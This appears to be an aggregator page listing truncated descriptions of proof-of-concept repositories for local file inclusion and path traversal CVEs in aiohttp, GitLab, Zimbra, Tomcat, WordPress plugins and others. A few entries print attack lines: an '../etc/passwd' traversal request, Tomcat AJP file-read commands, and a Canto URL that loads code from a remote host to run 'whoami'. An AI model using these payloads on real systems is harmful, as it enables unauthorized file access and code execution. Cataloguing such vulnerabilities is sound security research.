CVE-2025-2294

CVE-2025-4403 漏洞利用 详细信息 发布日期 ：2025年3月27日 更新日期 ：2025年3月28日 严重性 ：严重（CVSS 评分：9.8） CWE ：CWE-22：CWE-22 对受限目录的路径名限制不当（'路径遍历'） 受影响版本 ：从 n/a 到 2.5.1 的所有版本 研究人员 ：https://www.wordfence.com/threat-intel/vulnerabilities/researchers/michael-mazzolini CVSS 向量 CVSS 版本 ：9.8 向量字符串...

LFI-aiohttp-CVE-2024-23334-PoC

LFI-aiohttp-CVE-2024-23334-PoC 一个Bash脚本，用于自动化对易受攻击的aiohttp服务器进行本地文件包含（LFI）攻击，专门针对CVE-2024-23334。该漏洞利用允许在运行受影响版本且静态路由配置不当的aiohttp系统上，未经授权访问任意文件。 CVE-2024-23334 漏洞 CVE-2024-23334 漏洞影响基于Python和asyncio的异步HTTP客户端/服务器框架aiohttp。当aiohttp被用作Web服务器并配置静态路由时，若配置不当，可能导致目录遍历漏洞，从而允许攻击者未经授权访问系统上的任意文件。 此漏洞的缓解措施 包...

CVE-2018-12613-phpMyAdmin

CVE-2018-12613-phpMyAdmin 这篇文章将分享一个phpMyAdmin 4.8.1版本的文件包含漏洞，从配置到原理，再到漏洞复现进行讲解，更重要的是让大家了解这些真实漏洞背后的知识。基础性文章，希望对您有所帮助！...

CVE-2024-10571

CVE-2024-10571 Chartify – WordPress图表插件 = 2.9.5 - 未经身份验证的本地文件包含（通过source参数） 描述 Chartify – WordPress图表插件（WordPress Chart Plugin）在所有版本直至2.9.5（含）中存在本地文件包含漏洞，该漏洞通过'source'参数触发。这使得未经身份验证的攻击者能够包含并执行服务器上的任意文件，从而执行这些文件中的任何PHP代码。此漏洞可用于绕过访问控制、获取敏感数据，或在能够上传并包含图片及其他“安全”文件类型的情况下实现代码执行。 详情 类型 : 插件 标识 :...

Oracle-WebLogic-CVE-2022-21371

Oracle-WebLogic-CVE-2022-21371 Oracle WebLogic Server 本地文件包含漏洞：CVE-2022-21371 受影响版本：12.1.3.0.0、12.2.1.3.0、12.2.1.4.0 和 14.1.1.0.0 描述：Oracle Fusion Middleware 的 Oracle WebLogic Server 产品（Web Container 组件）存在本地文件包含漏洞。该漏洞易于利用，允许未经过身份验证的攻击者通过 HTTP 网络访问攻击 Oracle WebLogic Server。 成功利用此漏洞后，攻击者可完全访问 Oracl...

CVE-2020-10977.py

CVE-2020-10977.py 针对 GitLab 的已验证任意文件读取漏洞 CVE-2020-10977 用法： CVE-2020-10977.py -h --verifySSL -f FILELIST host token 该漏洞利用工具用于 GitLab 本地文件包含（已验证的任意文件读取 - CVE-2020-10977）。修改变量 pullfiles 以包含你想从主机获取的所有文件，或者通过文件列表提供给脚本。 位置参数： host GitLab 实例的主机名，例如 https://git.xxx.yyy token 在 GitLab 账户中生成的 API 访问令牌 可选参...

CVE-2025-4524

CVE-2025-4524 - 未认证的 madara-core WordPress 主题 LFI WordFence 链接 描述 漏洞存在于 madara 的 madaraloadmore 操作中，template 参数来自用户的任意数据，并被传递给 PHP 的 include 函数。 漏洞 漏洞存在于 madara 的 madaraloadmore 操作中，template 参数来自用户的任意数据，并被传递给 PHP 的 include 函数。 相关漏洞代码如下： addaction 'wpajaxmadaraloadmore', array $this,...

zimbramail-CVE-2025-68645-poc

zimbramail-CVE-2025-68645-poc 一个概念验证，利用存在于 Zimbra Collaboration ZCS 10.0 和 10.1 的 Webmail Classic UI 中的本地文件包含 LFI 漏洞，原因是 RestFilter servlet 对用户提供的请求参数处理不当。 漏洞 该漏洞源于 RestFilter servlet 中不充分的输入验证。未经身份验证的远程攻击者可以构造对 /h/rest 端点的请求，以影响内部请求分发，从而允许包含来自 WebRoot 目录的任意文件。 用户控制的参数未正确清理。 内部请求路由可被操纵。 WebRoot...

CVE-2023-31718

CVE-2023-31718 Es posible incluir archivos locales en el endpoint /api/download. Este endpoint se utiliza para descargar informes de FUXA y puede leer archivos locales mediante el parámetro "name" de una petición HTTP GET. /api/download?cmd=REPORT-DOWNLOAD&name=../../../../../../etc/passwd Nombre...

CVE-2023-4636

CVE-2023-4636 该 limelight 中的漏洞是一个未授权的远程代码执行（RCE）问题，源于通过 Imagick 处理图像时对文件路径的控制不足。它使得攻击者能够通过 FTP 提供文件，从而导致本地文件包含和远程代码执行。在这种情况下，攻击者可能能够接管任何未打补丁的 WordPress 网站。 截图 要求 Python3.7+ 支持的操作系统 Linuxer Wingays 开始使用 $ git clone https://github.com/ThatNotEasy/CVE-2023-4636 $ cd CVE-2023-4636 $ pip/pip3 install ...

CVE-2026-16475-PoC

CVE-2026-16475 - OCSinventory LFI 概念验证（PoC） OCSinventory 2.12.4 中的本地文件包含（LFI）漏洞 漏洞详情 CVE 编号： CVE-2026-16475 CVSS 评分： 6.9（中危） CWE： CWE-98（PHP 程序中对包含/引用语句的文件名控制不当） 受影响版本： OCSinventory 2.12.4 状态： 已在最新版本中修复 描述 /ajax/teledeployoptions.php 端点存在本地文件包含（LFI）漏洞，原因是 linkedoptions 参数在用于动态 XML...

CVE-2025-1661

CVE-2025-1661 - HUSKY – WooCommerce 产品筛选专业版中未经身份验证的本地文件包含（LFI） 描述 HUSKY – WooCommerce 产品筛选专业版 WordPress 插件在所有版本（包括 1.3.6.5 及以下版本）中，通过 wooftextsearch AJAX 操作的 template 参数存在本地文件包含（LFI）漏洞。 这使得未经身份验证的攻击者 能够在服务器上包含并执行任意文件，可能导致： 绕过访问控制 提取敏感数据 远程代码执行（RCE） （如果满足特定条件，例如上传了“安全”文件类型） 严重性：严重 CVSS 分数： 9.8（严重 ...

CVE-2026-12227

CVE-2026-12227: Inclusión Local de Archivos LFI No Autenticada en Visual Composer Website Builder Resumen CVE-2026-12227 es una vulnerabilidad crítica CVSS 9.8 de Inclusión Local de Archivos LFI no autenticada en el plugin Visual Composer Website Builder para WordPress, que afecta a todas las...

CVE-2020-1938

CVE-2020-1938 工具仅用于安全研究以及内部自查，禁止使用工具发起非法攻击，造成的后果使用者负责 apache-tomcat-8.5.32.zip 测试tomcat 任意文件读取 java -jar 1.jar com.threedr3am.bug.tomcat.ajp.FileRead 127.0.0.1 8009 file /index.jsp 文件包含 java -jar 1.jar com.threedr3am.bug.tomcat.ajp.FileRead 127.0.0.1 8009 jsp /index.jsp 打包方式： 在目录tomcat/ajp-bug 执行...

Vailyn

Vailyn 分阶段路径遍历与LFI攻击 Vailyn 3.0 自v3.0起，Vailyn在第一阶段支持LFI PHP封装器。使用--lfi将其纳入扫描。 关于 Vailyn是一款多阶段漏洞分析与利用工具，专门针对路径遍历和文件包含漏洞。其设计目标是在性能上做到极致，并提供丰富的过滤器规避技术。 它是如何工作的？ Vailyn分两个阶段操作。首先，它通过尝试使用所有规避性载荷访问/etc/passwd（或用户指定的文件）来检查漏洞是否存在。分析响应后，将有效的载荷与其他载荷分离。 现在，用户可以自由选择要使用的载荷。只有这些载荷会在第二阶段中使用。...

CVE-2023-45612-PoC

CVE-2023-45612 PoC 此仓库包含针对 CVE-2023-45612 的概念验证（PoC），该漏洞允许在 ktor 的 ContentNegotiation 默认配置中执行 XXE。 该 PoC 分为两部分： server/，包含一个使用受影响版本的 Ktor 的示例 Ktor 服务器，具有一个易受攻击的端点 client/，包含一个 Python 脚本，演示利用示例服务器中的 XXE 漏洞实现 LFI（本地文件包含）。 复现步骤 服务器和客户端均可通过在该仓库根目录运行 docker compose up 来启动。服务器启动后（可能需要几秒钟），客户端将自动执行攻击。...

CVE-2025-1661

CVE-2025-1661 - HUSKY – Products Filter Professional for WooCommerce 中的未认证本地文件包含（LFI） 描述 WordPress 的 HUSKY – Products Filter Professional for WooCommerce 插件在所有版本中（最高至 1.3.6.5 ，含该版本）存在 本地文件包含（LFI） 漏洞，该漏洞可通过 wooftextsearch AJAX 动作的 template 参数触发。 该漏洞允许未认证的攻击者 在服务器上包含并执行任意文件，可能导致以下后果： 绕过访问控制 提取敏感数据...

CVE-2021-41277

CVE-2021-41277 用法 1. 显示帮助信息 /CVE-2021-41277 ❯ go run main.go -h Usage of main: -f string File containing list of targets to verfity -o string File to write output to optional -s Show VulnInfo output -t int Number of concurrent goroutines for resolving default 10 -u string Target to verfity...

CVE-2024-3806

CVE-2024-3806 Porto = 7.1.0 - Inclusión de archivos locales no autenticada a través de portoajaxposts Descripción El tema Porto para WordPress es vulnerable a la inclusión de archivos locales en todas las versiones hasta, e incluyendo, 7.1.0 a través de la función 'portoajaxposts'. Esto permite q...

CVE-2023-3452-PoC

CVE-2023-3452-PoC - WordPress 插件 Canto ，就可以远程执行代码。 http://192.168.1.142/wp-content/plugins/canto/includes/lib/download.php?wpabspath=http://192.168.1.33:8080&cmd=whoami 所有这些已经在 Python 利用工具 CVE-2023-3452.py 中自动化完成。 利用工具使用方法 执行远程命令：...